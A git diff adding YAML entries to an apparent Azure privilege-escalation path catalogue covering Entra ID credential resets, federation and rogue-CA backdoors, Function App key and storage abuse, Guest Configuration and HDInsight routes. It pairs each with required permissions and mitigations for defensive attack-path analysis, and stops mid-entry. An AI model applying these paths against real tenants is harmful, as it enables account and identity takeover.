Support + target: + kind: azure_user + selector: + entra_reset_matrix_column: privileged_auth_admin + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "All users (incl. Global Administrators) in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP policy to be enabled for the target; password reset does not satisfy registered MFA by itself. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + confidence: derived + severity: critical + mitigation: Treat Privileged Authentication Administrator as Tier 0, never assign it to service principals, and require PIM approval. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management + notes: Members of a restricted management AU are blocked unless the source's assignment is scoped to that RMAU; Global Administrator can however assign itself an RMAU-scoped role (auditable), and a Global Administrator inside an RMAU cannot be reset by anyone. Partner Tier2 Support is deprecated but still resets any user. A service principal holding this role (persistence page) gives its credential holders the same edge. + +- id: azure-entraid-reset-password-partner-tier1 + provider: azure + service: entraid + title: Non-admin-only password reset roles (Partner Tier1 Support, Security Operator, SOC Identity Responder) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A holder of Partner Tier1 Support, Security Operator or Entra SOC Identity Responder can obtain the privileges of users with no directory role. + requires: + any_of: + - - entra_role: Partner Tier1 Support + - - entra_role: Security Operator + - - entra_role: Entra SOC Identity Responder + target: + kind: azure_user + selector: + entra_reset_matrix_column: non_admin_only + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Users without directory roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: derived + severity: high + mitigation: Remove Partner Tier1/Tier2 Support assignments (deprecated roles), keep Security Operator / SOC Identity Responder PIM-eligible, and protect sensitive non-admin users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Partner Tier1 Support is deprecated. Security Operator and Entra SOC Identity Responder hold microsoft.directory/users/password/update and Microsoft states they are limited to non-administrative accounts (privileged-roles-permissions, checked 2026-10). + +- id: azure-entraid-graph-userauthenticationmethod-tap + provider: azure + service: entraid + title: Graph UserAuthenticationMethod.ReadWrite.All issues a Temporary Access Pass for any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#userauthenticationmethodreadwriteall + source_revision: 171e422 + summary: A service principal holding UserAuthenticationMethod.ReadWrite.All or UserAuthMethod-TAP.ReadWrite.All can obtain the privileges of any user covered by the Temporary Access Pass policy, including administrators. + requires: + any_of: + - - graph_app_permission: UserAuthenticationMethod.ReadWrite.All + - - graph_app_permission: UserAuthMethod-TAP.ReadWrite.All + target: + kind: azure_user + selector: + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "All users (incl. administrators) in {scope} covered by the TAP policy" + conditions: + - id: tap_policy + description: The Temporary Access Pass authentication method policy must be enabled and include the target user (and allow multi-use passes if needed). + - id: federated_user + description: Users in federated domains may be redirected to the federation provider and not be able to use a TAP. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Grant authentication-method write application permissions only to Tier-0 apps, restrict the TAP policy to a small group, and alert on TAP creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft documents a role requirement only for delegated calls (Authentication Administrator / Privileged Authentication Administrator, covered by the role entries); app-only calls are not documented as bounded by the role hierarchy, so admins are in scope. Graph application permissions do not apply to objects in restricted management AUs. + +- id: azure-entraid-domain-federation-backdoor + provider: azure + service: entraid + title: Federate a verified domain with an attacker-trusted issuer + source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---trusted-domain + source_revision: 171e422 + summary: A principal allowed to update domain federation settings can obtain the privileges of users whose UPN is on a verified custom domain it can federate. + requires: + any_of: + - - entra_permission: microsoft.directory/domains/federation/update + - - entra_permission: microsoft.directory/domains/federationConfiguration/create + - - entra_permission: microsoft.directory/domains/allProperties/allTasks + - - entra_role: Global Administrator + - - entra_role: Hybrid Identity Administrator + - - entra_role: External Identity Provider Administrator + - - entra_role: Security Administrator + - - entra_role: Domain Name Administrator + - - graph_app_permission: Domain-InternalFederation.ReadWrite.All + - - graph_app_permission: Domain.ReadWrite.All + target: + kind: azure_user + selector: + entra_user_upn_on_federatable_custom_domain: true + scope: tenant + aggregate_as: "Users whose UPN is on a verified custom domain of {scope}" + conditions: + - id: new_domain_requires_dns + description: Adding and verifying a new domain requires DNS control and domain create/verify permissions; converting an already verified managed domain only needs federation update. + - id: immutable_id_required + description: Impersonation requires the target's onPremisesImmutableId (readable by default) or the ability to set it. + blockers: + - target_upn_on_initial_onmicrosoft_domain + confidence: conditional + severity: critical + mitigation: Restrict domains/federation/update (Global Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator) to Tier 0, keep break-glass and admin accounts on the *.onmicrosoft.com domain, and alert on federation setting changes. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference + notes: HackTricks frames this as persistence with GA, but any holder of the federation permission gains users of the federated domain, so it is a privilege-escalation edge. Cloud-only users on the initial onmicrosoft.com domain cannot be federated. Per Microsoft's built-in role definitions (checked 2026-10) domains/federation/update and federationConfiguration/create are held by Hybrid Identity, External Identity Provider and Security Administrator, and Domain Name Administrator / Global Administrator hold domains/allProperties/allTasks; Create internalDomainFederation lists Domain-InternalFederation.ReadWrite.All (least) or Domain.ReadWrite.All as application permissions. + +- id: azure-entraid-cba-rogue-certificate-authority + provider: azure + service: entraid + title: Trust an attacker certificate authority for certificate-based authentication + source: src/pentesting-cloud/azure-security/az-persistence/README.md#rogue-certificate-authority-in-the-tenant-cba-trust-store + source_revision: 171e422 + summary: A service principal able to write the tenant certificate-based authentication trust store and the X.509 authentication method policy can obtain the privileges of any user whose certificate username binding it can satisfy, including Global Administrators. + requires: + any_of: + - - graph_app_permission: Organization.ReadWrite.All + - graph_app_permission: Policy.ReadWrite.AuthenticationMethod + - - entra_role: Global Administrator + target: + kind: azure_user + selector: + any_principal_in_scope: true + scope: tenant + aggregate_as: "All users (incl. Global Administrators) in {scope} reachable through certificate-based authentication" + conditions: + - id: x509_method_scope + description: The X.509 certificate authentication method must be enabled for the target (Policy.ReadWrite.AuthenticationMethod can enable it and widen its include targets); when it is already enabled for the target, trust store write alone is enough. + - id: username_binding + description: The tenant username binding (certificateUserIds or userPrincipalName mapped from a certificate field) must map a certificate the source can mint to the target; affinity-binding rules and issuer or policy OID rules can narrow this. + - id: mfa_strength + description: Whether the sign-in also satisfies MFA or Conditional Access authentication strength depends on the CBA authentication binding policy. + blockers: + - service_principal_conditional_access_block + confidence: conditional + severity: critical + mitigation: Treat Organization.ReadWrite.All and Policy.ReadWrite.AuthenticationMethod as Tier 0, restrict CBA trust store changes to Tier-0 administrators, require issuer and policy OID affinity bindings, and alert on certificate authority additions. + references: + - https://learn.microsoft.com/en-us/graph/api/certificatebasedauthconfiguration-post-certificatebasedauthconfiguration?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/authentication/how-to-certificate-based-authentication + notes: HackTricks frames this as persistence for a Global Administrator, but any holder of trust store write plus method policy write gains every user covered by the method, so it is an escalation edge. The Global Administrator option is dominated by azure-entraid-reset-credentials-privileged-auth-admin and is kept for completeness. Restricted management AUs do not block it because nothing is written on the target object. The application permissions follow the HackTricks minimum permissions. Delegated role holders other than Global Administrator (e.g. Privileged Authentication Administrator) were not verified against Microsoft documentation in this offline review and are not listed. diff --git a/src/privilege-escalation-paths-research/azure/event_grid.yaml b/src/privilege-escalation-paths-research/azure/event_grid.yaml new file mode 100644 index 0000000000..6d99680a60 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/event_grid.yaml @@ -0,0 +1,65 @@ +# Azure Event Grid techniques (declarative only). +# Source: hacktricks-cloud az-event-grid-privesc.md (re-reviewed at rev a66f094ede). +# Second-order escalation through privileged event handlers, like consumer_poisoning.yaml. Event +# subscriptions are not collected yet, so every candidate handler identity is reported unknown. + +- id: azure-eventgrid-event-injection-consumer + provider: azure + service: event_grid + title: Inject Event Grid events into a privileged handler + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#shared-access-key-disclosure-and-event-injection + source_revision: a66f094ede + summary: Publishing forged events with a disclosed or rotated access key, the events/send data action or MQTT publish lets existing subscriptions deliver attacker input to Functions, Logic Apps, automation or webhooks running with their own managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.EventGrid/topics/listKeys/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/topics/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/domains/listKeys/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/domains/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/namespaces/listKeys/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/namespaces/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/namespaces/topics/listKeys/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/namespaces/topics/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/partnerNamespaces/listKeys/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/partnerNamespaces/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.EventGrid/events/send/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.EventGrid/topicSpaces/publish/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.EventGrid/topics|Microsoft.EventGrid/domains|Microsoft.EventGrid/namespaces|Microsoft.EventGrid/partnerNamespaces + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: event_subscription + scope: any + aggregate_as: "Event handler identities subscribed to Event Grid resource {pivot}" + outcome: workload_execution + conditions: + - id: handler_trusts_event + description: The subscribed handler must act on event fields as commands, targets or configuration; publishing alone does not guarantee code execution. + - id: local_auth_enabled + description: The listKeys / regenerateKey alternatives require access-key authentication to be enabled on the topic, domain or namespace. + - id: mqtt_routing + description: The topicSpaces/publish alternative only reaches handlers when the namespace routes MQTT messages to a namespace topic with subscriptions. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Disable local auth on topics and namespaces, separate publishers from privileged handlers, and validate event content and source in handlers. + references: + - https://learn.microsoft.com/en-us/azure/event-grid/authenticate-with-access-keys-shared-access-signatures + - https://learn.microsoft.com/en-us/azure/event-grid/authenticate-with-microsoft-entra-id + notes: Subscription hijack, delivery-attribute and endpoint-URL disclosure, and pull-subscription reads are data access or audience-bound handler secrets and stay excluded. diff --git a/src/privilege-escalation-paths-research/azure/fabric.yaml b/src/privilege-escalation-paths-research/azure/fabric.yaml new file mode 100644 index 0000000000..318c159a56 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/fabric.yaml @@ -0,0 +1,69 @@ +# Microsoft Fabric techniques (declarative only). Source: hacktricks-cloud az-fabric-privesc.md (rev 171e422). +# Fabric authorization lives in the Fabric plane (workspace roles, tenant settings), not ARM RBAC. +# Facts needed (not collected yet -> unknown): fabric_workspace_role_assignment {principal.id|principalId, +# role, workspaceId, id} and fabric_workspace {id, workspaceIdentity.servicePrincipalId}. +# Connection / gateway credential use stays excluded (no identity is gained). + +- id: azure-fabric-notebook-workspace-identity + provider: azure + service: fabric + title: Run a Fabric notebook or Spark job definition as the workspace identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#notebook--spark-job-rce-as-the-submitting-identity--token--key-vault-theft + source_revision: 171e422 + summary: A Fabric workspace Contributor can create and schedule notebooks or Spark job definitions; per HackTricks, scheduled and API-triggered runs execute as the workspace identity, whose Entra tokens are reachable from the code. + requires: + all_of: + - fabric_workspace_role: Contributor + fabric_workspace: '{target.host_resource}' + target: + kind: azure_service_principal + selector: + fabric_workspace_identity: true + scope: any + aggregate_as: Fabric workspace identities + outcome: workload_execution + conditions: + - id: fabric_sp_api_enabled_if_source_is_sp + description: A service principal source needs the "Service principals can use Fabric APIs" tenant setting enabled; not evaluated. + - id: run_identity_depends_on_trigger + description: Interactive runs execute as the submitting user (no escalation); only runs that execute as the workspace identity reach it. Which triggers run as the workspace identity is taken from HackTricks and is not verified against collected configuration. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep workspace Contributor and above to trusted principals, grant workspace identities only the data access they need, and review scheduled notebook / Spark job definitions. + references: + - https://learn.microsoft.com/en-us/fabric/security/workspace-identity + - https://learn.microsoft.com/en-us/fabric/fundamentals/roles-workspaces + notes: The requirement is rank-compared (Admin, Member and Contributor satisfy it) and includes Entra group memberships. Running as the submitting identity gives no new privilege and is not an edge. + +- id: azure-fabric-administrator-workspace-identity + provider: azure + service: fabric + title: Fabric Administrator takes over a workspace and runs code as its workspace identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#fabric-administrator-entra--tenant-takeover--org-wide-scanner-recon + source_revision: 171e422 + summary: The Fabric Administrator (or Power Platform Administrator) Entra role can grant itself a role on any workspace and then use the notebook path as that workspace's identity. + requires: + all_of: [] + any_of: + - - entra_role: Fabric Administrator + - - entra_role: Power Platform Administrator + target: + kind: azure_service_principal + selector: + fabric_workspace_identity: true + scope: any + aggregate_as: Fabric workspace identities + outcome: workload_execution + conditions: + - id: grants_itself_workspace_role + description: The administrator must first add itself to the workspace (logged as a Fabric admin activity) and then use azure-fabric-notebook-workspace-identity. + - id: run_identity_depends_on_trigger + description: Only runs that execute as the workspace identity reach it (see azure-fabric-notebook-workspace-identity). + blockers: [] + confidence: conditional + severity: high + mitigation: Treat Fabric Administrator and Power Platform Administrator as privileged roles (PIM, approval), and least-privilege workspace identities. + references: + - https://learn.microsoft.com/en-us/fabric/admin/roles + notes: Tenant-setting changes and the admin scanner API are recon / control weakening and are not edges. diff --git a/src/privilege-escalation-paths-research/azure/functions.yaml b/src/privilege-escalation-paths-research/azure/functions.yaml new file mode 100644 index 0000000000..d4cdf37aac --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/functions.yaml @@ -0,0 +1,301 @@ +# Azure Function App-specific privilege escalation techniques (declarative only). +# Generic Microsoft.Web/sites techniques are in app_services.yaml and also apply to Function Apps. +# Source: hacktricks-cloud az-functions-app-privesc.md / az-app-services-privesc.md +# (rev 171e422, re-verified). +# Placeholder {target.host_resource.content_storage}: the storage account referenced by the app's +# AzureWebJobsStorage / WEBSITE_CONTENTAZUREFILECONNECTIONSTRING / WEBSITE_RUN_FROM_PACKAGE settings. + +- id: azure-functions-content-storage-write + provider: azure + service: functions + title: Write access to a Function App's backing content storage + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#storage-backed-deployment-content + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/listkeys/action + scope: "{target.host_resource.content_storage}" + - - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write + data_action: true + scope: "{target.host_resource.content_storage}" + - action: Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action + data_action: true + scope: "{target.host_resource.content_storage}" + - - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write + data_action: true + scope: "{target.host_resource.content_storage}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: any + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: content_location_matches + description: The writable share/container must be the one the app actually loads code from; blob package paths only take effect after a restart. + - id: shared_key_access_enabled + description: The listkeys path requires shared key access to be enabled on the storage account. + blockers: [] + confidence: conditional + severity: high + mitigation: Use a dedicated storage account per Function App, disable shared key access, and restrict data-plane write roles on it. + references: + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings + notes: The storage account behind a Function App is often in another resource group; edge depends on resolving the app settings. + +- id: azure-functions-host-listkeys-master-key + provider: azure + service: functions + title: List Function App host keys (master key) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostlistkeysaction-and-microsoftwebsitesslotshostlistkeysaction + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/host/listkeys/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: admin_endpoint_reachable + description: The app's admin endpoint must be reachable from the source's network. + - id: writable_content + description: Code change through the admin VFS API is not possible when the app runs from a read-only package (WEBSITE_RUN_FROM_PACKAGE). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict host/listkeys/action and restrict network access to the Function App. + references: + - https://learn.microsoft.com/en-us/azure/azure-functions/function-keys-how-to + notes: The master key authorizes the Functions administration API, including file management. The slot variant is in app_services.yaml. + +- id: azure-functions-masterkey-read + provider: azure + service: functions + title: Read the Function App master key + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionsmasterkeyread + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/functions/masterkey/read + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: secret_storage_files + description: HackTricks reports this route only works when AzureWebJobsSecretStorageType=Files. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict functions/masterkey/read and use the Blob secret repository. + references: [] + notes: "" + +- id: azure-functions-admin-token-read + provider: azure + service: functions + title: Obtain a Functions runtime admin token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionstokenread + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/functions/token/read + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: admin_token_reaches_code_change + description: HackTricks confirms key retrieval and admin invocation with the token; whether it yields code change or identity use depends on plan/configuration. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict functions/token/read. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-functions-admin-token + notes: "" + +- id: azure-functions-hostruntime-vfs-write + provider: azure + service: functions + title: Modify Function App files through the host runtime VFS + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/hostruntime/vfs/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict hostruntime/vfs/write. + references: [] + notes: Not applicable when the app runs from a read-only package. + +- id: azure-functions-functions-write + provider: azure + service: functions + title: Create or update a function definition + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-a-functions-code-with-microsoftwebsitesfunctionswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/functions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: writable_content + description: Not applicable when the app runs from a read-only package. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.Web/sites/functions/write. + references: [] + notes: "" + +- id: azure-functions-config-list-storage-key + provider: azure + service: functions + title: Read app settings exposing the content storage connection string + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction + source_revision: a66f094ede + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/config/list/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/config/snapshots/listsecrets/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/config/list/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/config/snapshots/listsecrets/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: key_based_storage_connection + description: Only when the content storage setting contains an account key (not identity-based connections). + - id: snapshot_key_still_valid + description: For the snapshots/listsecrets path, a key recovered from a historical config snapshot must not have been rotated since. + - id: slot_shares_content_storage + description: For the slot paths, the slot's storage setting must reference the same storage account as the production app (the usual case); a slot-only account yields only the slot's identities. + blockers: [] + confidence: conditional + severity: high + mitigation: Use identity-based storage connections, rotate storage keys after setting changes, and restrict config/list/action and config/snapshots/listsecrets/action. + references: + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference#connecting-to-host-storage-with-an-identity + notes: The publishing-credential path of config/list/action is modelled in app_services.yaml. Slot alternatives come from the slots/config/list/action section of the same page and the slot snapshot listing of az-app-services-privesc.md. + +- id: azure-functions-sites-write-source-control + provider: azure + service: functions + title: Repoint a Function App's deployment source through a site write + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#change-github-repo + source_revision: a66f094ede + summary: Rewriting the app's source-control configuration to an attacker repository makes the next deployment run attacker code with the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: deployment_runs + description: Changing the source-control metadata does not push code; a deployment from the new source must authenticate and succeed. + - id: site_write_covers_source_control + description: HackTricks lists sites/write for this route; deployments that use the sourcecontrols child resource are authorized by sites/sourcecontrols/write (azure-appservice-sourcecontrols-write). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/write and sourcecontrols/write, and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + notes: The sourcecontrols/write variant is azure-appservice-sourcecontrols-write. + +- id: azure-functions-remote-debugging + provider: azure + service: functions + title: Enable remote debugging and attach a debugger to the Function App worker + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#remote-debugging + source_revision: 171e422 + summary: Enabling remote debugging and attaching with publishing credentials gives code execution in the worker process, exposing the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/config/write + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.Web/sites/publishxml/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/config/list/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: remote_debugging_supported + description: Remote debugging is only available on Windows plans and is automatically turned off after 48 hours. + - id: basic_auth_allowed + description: The debugger authenticates with publishing credentials, so SCM basic auth must be allowed. + blockers: + - scm_and_ftp_basic_auth_disabled + confidence: conditional + severity: high + mitigation: Keep remote debugging off, disable basic auth and restrict config/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common#configure-general-settings + notes: config/write alone already yields code execution (azure-appservice-config-write); this entry records the debugger route separately. diff --git a/src/privilege-escalation-paths-research/azure/guest_configuration.yaml b/src/privilege-escalation-paths-research/azure/guest_configuration.yaml new file mode 100644 index 0000000000..82237d0990 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/guest_configuration.yaml @@ -0,0 +1,65 @@ +# Azure Machine Configuration (Guest Configuration) techniques (declarative only). +# Source: hacktricks-cloud az-guest-configuration-privesc.md (rev 171e422). +# The Guest Configuration agent runs the assigned DSC package as LocalSystem/root, so in-guest code +# reaches every managed identity exposed by IMDS (Azure VM) or HIMDS (Arc server) on that machine. + +- id: azure-guestconfiguration-assignment-write + provider: azure + service: guest_configuration + title: Create a guest configuration assignment on an Azure VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 171e422 + summary: The source can obtain the privileges of the managed identities attached to the VM, because the assigned package runs as LocalSystem/root in the guest. + requires: + all_of: + - action: Microsoft.GuestConfiguration/guestConfigurationAssignments/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: guest_configuration_prerequisites + description: The VM must already run the Guest Configuration extension (ConfigurationforWindows/ConfigurationforLinux) and have a system-assigned identity. Otherwise the path also needs virtualMachines/write and virtualMachines/extensions/write, and extensions/write alone is already modelled by azure-vm-extensions-write. + - id: vm_running + description: The VM must be running so the agent pulls the assignment on its consistency loop. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat Guest Configuration Resource Contributor as a code-execution role on the covered machines, restrict guestConfigurationAssignments/write, allow-list package sources with Azure Policy and keep VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/concepts/assignments + notes: The action is control-plane (isDataAction false) and is granted by Guest Configuration Resource Contributor. Audit-only modes also execute the package (Test-TargetResource). The extension/identity prerequisites are not collected, so the edge is conditional. + +- id: azure-guestconfiguration-assignment-write-arc + provider: azure + service: guest_configuration + title: Create a guest configuration assignment on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 171e422 + summary: The source can obtain the privileges of the Arc machine's managed identity, because the built-in guest configuration agent runs the package as LocalSystem/root. + requires: + all_of: + - action: Microsoft.GuestConfiguration/guestConfigurationAssignments/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_agent_connected + description: The Connected Machine agent must be connected and guest configuration must not be disabled in the agent's local configuration. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict guestConfigurationAssignments/write (Azure Connected Machine Resource Manager, Guest Configuration Resource Contributor) on Arc servers and keep Arc machine identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview + notes: The Arc agent ships guest configuration built in, so the assignment write alone is sufficient. The token is read from HIMDS by the SYSTEM/root payload. Agent-side disablement is not collected. diff --git a/src/privilege-escalation-paths-research/azure/hdinsight.yaml b/src/privilege-escalation-paths-research/azure/hdinsight.yaml new file mode 100644 index 0000000000..4a060c7fbb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/hdinsight.yaml @@ -0,0 +1,171 @@ +# Azure HDInsight techniques (declarative only). +# Source: hacktricks-cloud az-hdinsight-privesc.md (rev 171e422). +# HDInsight supports only user-assigned managed identities. IMDS is not available on the nodes; the +# identity credential is a certificate installed on the nodes, which root code can use to obtain +# tokens (HackTricks flags the on-node procedure as not validated). All edges are therefore conditional. + +- id: azure-hdinsight-get-gateway-settings + provider: azure + service: hdinsight + title: Read the cleartext HDInsight gateway (Ambari) credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#dump-cluster-gateway-admin-credentials + source_revision: 171e422 + summary: The source can obtain Ambari admin on the cluster and run code on its nodes, and from there the cluster's user-assigned managed identity. + requires: + all_of: + - action: Microsoft.HDInsight/clusters/getGatewaySettings/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HDInsight/clusters + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "User-assigned identity of HDInsight cluster {target.host_resource}" + conditions: + - id: gateway_reachable + description: The cluster gateway (clustername.azurehdinsight.net) must be reachable from the source; private-link or NSG-restricted clusters need network access. + - id: job_code_runs_as_service_user + description: Jobs submitted through Ambari, Livy, Oozie or WebHCat run as cluster service users, not root; reaching the identity certificate may need a further local escalation. + - id: mi_token_from_node_certificate + description: Obtaining a token for the identity depends on using the identity certificate installed on the nodes (not documented for direct use). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict getGatewaySettings/action (HDInsight Cluster Operator, Contributor), restrict gateway network access, and keep the cluster identity scoped to its storage. + references: + - https://learn.microsoft.com/en-us/rest/api/hdinsight/clusters/get-gateway-settings + - https://learn.microsoft.com/en-us/azure/hdinsight/hdinsight-managed-identities + notes: Storage account keys in cluster configuration are a data-plane credential and are not modelled. + +- id: 